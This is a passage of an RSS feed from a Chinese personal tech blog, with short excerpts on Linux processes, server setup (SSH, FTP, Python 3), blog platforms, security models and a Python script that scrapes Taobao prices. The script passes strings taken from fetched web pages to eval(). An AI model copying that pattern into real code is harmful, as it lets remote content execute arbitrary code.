&lt;p&gt;一个计算机最多有65535个端口，端口不能重复，一般主机只会开放需要的端口，比如http端口和ssh端口来保证其与外界的通信。&lt;/p&gt;
&lt;p&gt;端口以数字来标识，但是同一条路也分为tcp端口和udp端口，但是这些是不会引起歧义的，比如TCP的80端口和UDP的80端口，因为数据报在标明端口的同时，还将标明端口的类型。&lt;/p&gt;</description></item><item><title>浅析fork函数、exec函数和pthread函数</title><link>https://saucer-man.com/linux/29.html</link><pubDate>Sat, 05 May 2018 02:46:00 +0000</pubDate><guid>https://saucer-man.com/linux/29.html</guid><description>&lt;h2 id="1fork函数exec函数和pthread函数的机理"&gt;1、fork函数，exec函数和pthread函数的机理&lt;/h2&gt;
&lt;p&gt;在linux中，每个进程都使用一个唯一的整数形式的进程标识符来标识。&lt;/p&gt;
&lt;h3 id="11-fork"&gt;1.1 fork（）&lt;/h3&gt;
&lt;p&gt;Fork()函数是创建新进程的函数，即通过fork()系统调用，可创建新进程。新进程复制原来进程的地址空间，这种机制允许父子进程之间相互通信。两个进程都继续执行系统调用fork()函数之后的指令。但是不同的是，对于新创建的进程，系统调用fork()之后的返回值为0，对于原来的父进程，返回值大于0，如果创建新进程失败，则返回一个负值。使用fork函数得到的子进程从父进程继承了整个进程的地址空间，包括：进程上下文、进程堆栈、内存信息、打开的文件描述符、信号控制设置、进程优先级、进程组号、当前工作目录、根目录、资源限制、控制终端等。&lt;/p&gt;</description></item><item><title>Typecho主题设置总结</title><link>https://saucer-man.com/operation_and_maintenance/28.html</link><pubDate>Fri, 04 May 2018 02:44:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/28.html</guid><description>&lt;p&gt;wordpress用了很久了，总是感觉网站访问速度慢，又不能搞什么大事情，于是乎该折腾就折腾换到Typecho，简约的风格，虽然是动态php但是不臃肿，访问速度也很快。主题就用默认的主题感觉还不错。&lt;/p&gt;
&lt;p&gt;但是又想让它更好看一点，于是乎用了一晚上时间稍微改了一下主题，加了一些我认为有用的插件，现在网上关于typecho的介绍和文档还是太少了，但是国人开发的总该支持一下，而且对于主机空间内存带宽啥的很小的人来说，这还是很nice的。&lt;/p&gt;
&lt;p&gt;废话不说太多，下面记录一些常用的设置和插件。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;需要注意的是如果是新手，所有的改动请提前备份一份。&lt;/strong&gt;&lt;/p&gt;
&lt;h3 id="1开启调试模式"&gt;1、开启调试模式&lt;/h3&gt;
&lt;p&gt;一开始使用的时候，安装插件或者更换什么主题都有可能导致各种各样的bug，这个时候我们最好还是开启调试模式，方便我们找到错误的原因，及时改正。&lt;/p&gt;
&lt;p&gt;开启调试模式首先打开网站根目录下面的config.inc.php。
在代码最后加上&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;define&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;__TYPECHO_DEBUG__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="2首页文章只显示摘要"&gt;2、首页文章只显示摘要&lt;/h3&gt;
&lt;p&gt;2.1 熟悉WordPress的用户都应该知道&amp;lt; !&amp;ndash;more&amp;ndash; &amp;gt;标签，在撰写文章时，Typecho也一样，你可以在文章的正文中插入&lt;/p&gt;</description></item><item><title>Linux上安装python3</title><link>https://saucer-man.com/operation_and_maintenance/27.html</link><pubDate>Thu, 03 May 2018 02:44:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/27.html</guid><description>&lt;p&gt;笔者所用的Linux是CentOS7系统,其他的系统类比即可，比如在ubuntu下把yum换成apt-get即可.
CentOS7 默认已经安装了Python2，查看系统版本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[root@harvey ~]# cat /etc/redhat-release
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CentOS Linux release 7.4.1708 (Core) 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;默认已安装的Python版本如下&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[root@harvey ~]# python --version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Python 2.7.5
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;由于某些原因我们需要在服务器上安装python3，但是一些重要的系统命令是基于python2的，所以我们不能把python2卸载，以下介绍如何在centos上安装python3。6。&lt;/p&gt;</description></item><item><title>解决腾讯云ubuntu无法ssh问题</title><link>https://saucer-man.com/operation_and_maintenance/24.html</link><pubDate>Wed, 02 May 2018 02:31:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/24.html</guid><description>&lt;p&gt;一开始用腾讯云的ubuntu系统，用xshell远程登陆时出现如下错误：&lt;/p&gt;
&lt;p&gt;Permission denied, please try again。&lt;/p&gt;
&lt;p&gt;密码和用户名都是对的，主要是ssh设置问题。&lt;/p&gt;
&lt;h5 id="解决方法"&gt;解决方法：&lt;/h5&gt;
&lt;p&gt;用腾讯云网页版控制台打开/etc/ssh/sshd_config
将&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PermitRootLogin without-password 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;改成&lt;/p&gt;</description></item><item><title>解决wordpress访问速度慢的问题</title><link>https://saucer-man.com/operation_and_maintenance/23.html</link><pubDate>Thu, 26 Apr 2018 02:28:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/23.html</guid><description>&lt;p&gt;在主机上安装了owncloud网盘之后，发现博客得访问速度变得很慢，还以为owncloud让网站根目录变得臃肿，原来是更新得时候，网站使用的是google得字体cdn。&lt;/p&gt;
&lt;h2 id="1禁用-google-fonts"&gt;1.禁用 Google Fonts&lt;/h2&gt;
&lt;p&gt;wordpress里调用了google的字体，Google服务在中国便一直不很稳定。上过网的人应该都深有体会。所以我们需要把字体库网站换成国内的cdn。&lt;/p&gt;</description></item><item><title>彻底解决wordpress安装主题或插件需要FTP问题</title><link>https://saucer-man.com/operation_and_maintenance/22.html</link><pubDate>Thu, 26 Apr 2018 02:27:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/22.html</guid><description>&lt;p&gt;前几天再wordpress更新插件和主题时都需要FTP，因为没有搭建过FTP服务，鬼知道我的ftp账号和密码，于是就在百度上搜，搜了几个结果都不对，改了wp-config代码，设置了文件夹权限，反正就是更新总是跳到ftp登陆界面，反正就是不爽，终于找到了终极大法，亲测有效。&lt;/p&gt;</description></item><item><title>python爬取网站全部url链接</title><link>https://saucer-man.com/information_security/21.html</link><pubDate>Thu, 26 Apr 2018 02:25:00 +0000</pubDate><guid>https://saucer-man.com/information_security/21.html</guid><description>&lt;p&gt;对于安全人员来说，了解网站的url目录结构是首要的，御剑是一个很好用的工具，下载地址：https://download.csdn.net/download/gyq1998/10374406&lt;/p&gt;
&lt;p&gt;御剑自带了字典，主要是分析字典中的网址是否存在，但是可能会漏掉一些关键的网址，于是前几天用python写了一个爬取网站全部链接的爬虫。&lt;/p&gt;</description></item><item><title>Centos搭建FTP</title><link>https://saucer-man.com/operation_and_maintenance/26.html</link><pubDate>Mon, 23 Apr 2018 02:34:00 +0000</pubDate><guid>https://saucer-man.com/operation_and_maintenance/26.html</guid><description>&lt;p&gt;因为自己的wordpress博客更新问题，还需要搭建ftp服务，记录一下。如有错误请指正。
服务器： centos7 64位&lt;/p&gt;
&lt;p&gt;具体步骤如下：&lt;/p&gt;
&lt;h2 id="1安装并启动ftp服务"&gt;1、安装并启动FTP服务&lt;/h2&gt;
&lt;h3 id="11安装vsftpd"&gt;1.1安装vsftpd&lt;/h3&gt;
&lt;p&gt;vsftpd 是一个 UNIX 类操作系统上运行的服务器的名字，它可以运行在诸如 Linux, BSD, Solaris, HP-UX 以及 IRIX 上面。
使用 yum 安装 vsftpd&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;yum install -y vsftpd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="12启动-vsftpd"&gt;1.2启动 vsftpd&lt;/h3&gt;
&lt;p&gt;安装完成后，启动 FTP 服务：&lt;/p&gt;</description></item><item><title>python之虚拟环境</title><link>https://saucer-man.com/python/20.html</link><pubDate>Thu, 19 Apr 2018 02:22:00 +0000</pubDate><guid>https://saucer-man.com/python/20.html</guid><description>&lt;p&gt;官方文档：
&lt;a href="http://pythonguidecn.readthedocs.io/zh/latest/dev/virtualenvs.html"&gt;http://pythonguidecn.readthedocs.io/zh/latest/dev/virtualenvs.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;virtualenv 是一个创建隔绝的Python环境的 工具。virtualenv创建一个包含所有必要的可执行文件的文件夹，用来使用Python工程所需的包。&lt;/p&gt;
&lt;p&gt;它可以独立使用，代替Pipenv。&lt;/p&gt;</description></item><item><title>linux下C语言实现生产者消费者问题</title><link>https://saucer-man.com/backend_development/19.html</link><pubDate>Wed, 18 Apr 2018 02:16:00 +0000</pubDate><guid>https://saucer-man.com/backend_development/19.html</guid><description>&lt;h2 id="问题描述"&gt;问题描述：&lt;/h2&gt;
&lt;p&gt;缓冲区大小为N，生产者产生物品放到缓冲区，消费者将物品从缓冲区移走
&lt;strong&gt;互斥关系：&lt;/strong&gt;
对缓冲区得访问需要互斥，包括生产者和生产者之间、消费者和消费者之间、生产者和消费者之间。
&lt;strong&gt;同步关系：&lt;/strong&gt;
当缓冲区满时生产者进程需要等待，当缓冲区空时消费者进程需要等待。&lt;/p&gt;
&lt;p&gt;&lt;img src="https://saucer-man.com/usr/uploads/sina/5cc5cfb56c781.jpg" alt=""&gt;&lt;/p&gt;</description></item><item><title>python之类与面向对象</title><link>https://saucer-man.com/python/18.html</link><pubDate>Thu, 12 Apr 2018 02:15:00 +0000</pubDate><guid>https://saucer-man.com/python/18.html</guid><description>&lt;h2 id="1面向对象的概念"&gt;1、面向对象的概念&lt;/h2&gt;
&lt;p&gt;段子手觉得面向对象对程序员来说真是个扯淡的东西，没有对象怎么面向对象编程？&lt;/p&gt;
&lt;p&gt;但是没有对象我们也可以创造对象！&lt;/p&gt;
&lt;p&gt;面向对象是一种程序设计方法，和面向过程相比，面向对象的核心在于对象，一切皆为对象，一个对象就是一个封装体，具有状态和操作。定义好一个对象并给它赋予属性和方法之后，我们便可以在任何地方调用这个对象。&lt;/p&gt;</description></item><item><title>bitlocker和可信计算之间的关系</title><link>https://saucer-man.com/information_security/17.html</link><pubDate>Mon, 09 Apr 2018 02:12:00 +0000</pubDate><guid>https://saucer-man.com/information_security/17.html</guid><description>&lt;h2 id="一关于可信计算"&gt;一、关于可信计算&lt;/h2&gt;
&lt;h3 id="1可信计算的概念"&gt;1、可信计算的概念&lt;/h3&gt;
&lt;p&gt;由于纯软件安全机制的不足，在20世纪70年代末，可信计算的思想被提出，可信计算的思想是通过硬件、固件和软件的合作来构筑系统平台的安全性和可信性。&lt;/p&gt;
&lt;p&gt;可信计算由TCPA提出，但并没有一个明确的定义，主要思路是在计算机硬件平台上引入安全芯片架构，通过提供的安全特性来提高终端系统的安全性。&lt;/p&gt;</description></item><item><title>关于BIBA模型的概述</title><link>https://saucer-man.com/information_security/16.html</link><pubDate>Sun, 08 Apr 2018 02:11:00 +0000</pubDate><guid>https://saucer-man.com/information_security/16.html</guid><description>&lt;p&gt;学信息安全肯定需要接触到信息系统安全模型。&lt;strong&gt;安全模型就是控制和管理主体（Subjects,包括用户/进程）对客体（objects，包括数据和程序）的访问控制。&lt;/strong&gt;
最近学到了这些东西，于是记录一下自己的理解，如有错误，欢迎指正。&lt;/p&gt;
&lt;p&gt;参考资料：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;信息系统安全概论第二版 石文昌编著&lt;/li&gt;
&lt;li&gt;百度文库：https://wenku.baidu.com/view/30a4fbc63968011ca200918f.html&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;毕巴模型是一个典型的&lt;strong&gt;完整性访问控制模型&lt;/strong&gt;。毕巴模型使用完整性级别来对完整性进行量化描述。完整性级别是有序的，可以进行比较。&lt;/p&gt;</description></item><item><title>简析微信小程序注册程序和函数</title><link>https://saucer-man.com/front_end/15.html</link><pubDate>Wed, 04 Apr 2018 02:10:00 +0000</pubDate><guid>https://saucer-man.com/front_end/15.html</guid><description>&lt;h2 id="一微信小程序注册程序"&gt;一、微信小程序注册程序&lt;/h2&gt;
&lt;p&gt;App.js文件不仅可以定义全局函数和数据，还可以注册一个程序。在App()函数里面可以完成小程序的注册以及指定其生命周期函数。&lt;/p&gt;
&lt;p&gt;下表为生命周期函数的定义&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;属性&lt;/th&gt;
 &lt;th&gt;类型&lt;/th&gt;
 &lt;th&gt;描述&lt;/th&gt;
 &lt;th&gt;触发时机&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;onLaunch&lt;/td&gt;
 &lt;td&gt;Function&lt;/td&gt;
 &lt;td&gt;生命周期函数&amp;ndash;监听小程序初始化&lt;/td&gt;
 &lt;td&gt;当小程序初始化完成时，会触发 onLaunch（全局只触发一次）&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;onShow&lt;/td&gt;
 &lt;td&gt;Function&lt;/td&gt;
 &lt;td&gt;生命周期函数&amp;ndash;监听小程序显示&lt;/td&gt;
 &lt;td&gt;当小程序启动，或从后台进入前台显示，会触发 onShow&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;onHide&lt;/td&gt;
 &lt;td&gt;Function&lt;/td&gt;
 &lt;td&gt;生命周期函数&amp;ndash;监听小程序隐藏&lt;/td&gt;
 &lt;td&gt;当小程序从前台进入后台，会触发 onHide&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;onError&lt;/td&gt;
 &lt;td&gt;Function&lt;/td&gt;
 &lt;td&gt;错误监听函数&lt;/td&gt;
 &lt;td&gt;当小程序发生脚本错误，或者 api 调用失败时，会触发 onError 并带上错误信息&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;其他&lt;/td&gt;
 &lt;td&gt;Any&lt;/td&gt;
 &lt;td&gt;&lt;/td&gt;
 &lt;td&gt;开发者可以添加任意的函数或数据到 Object 参数中，用 this 可以访问&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;示例代码如下&lt;/p&gt;</description></item><item><title>简析微信小程序框架</title><link>https://saucer-man.com/front_end/14.html</link><pubDate>Tue, 03 Apr 2018 02:08:00 +0000</pubDate><guid>https://saucer-man.com/front_end/14.html</guid><description>&lt;p&gt;最近打算写写微信小程序，于是把学习的过程记录下来，开发者工具什么的就直接略过了。&lt;/p&gt;
&lt;p&gt;微信小程序框架是进行微信开发必须先要弄懂的东西，微信小程序框架让开发者自微信中通过简单、高效的方式开发服务。微信小程序框架分为逻辑层和视图层，逻辑层用来处理业务逻辑，而视图层用来渲染页面。&lt;/p&gt;</description></item><item><title>requests模块实践：爬取淘宝商品信息和价格</title><link>https://saucer-man.com/python/13.html</link><pubDate>Sat, 16 Dec 2017 02:07:00 +0000</pubDate><guid>https://saucer-man.com/python/13.html</guid><description>&lt;p&gt;代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;requests&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#获取当前url的html文档&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;htmlget&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;kv&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;user-agent&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;kv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;raise_for_status&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;apparent_encoding&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#对html文档进行解析找到信息存到数组中&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;htmlparse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ilt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;plt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;\&amp;#34;view_price\&amp;#34;\:\&amp;#34;[\d\.]*\&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;tlt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;\&amp;#34;raw_title\&amp;#34;\:\&amp;#34;.*?\&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plt&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;price&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;:&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;title&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tlt&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;:&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ilt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;price&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;title&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;#把提取到的数组中的数据写到txt文件中去&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;htmlreadin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ilt&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;E:/python/taobao.txt&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;r+&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;file&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="si"&gt;{:^10}{:^10}{:^30}&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;number&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;price&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;hhh&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
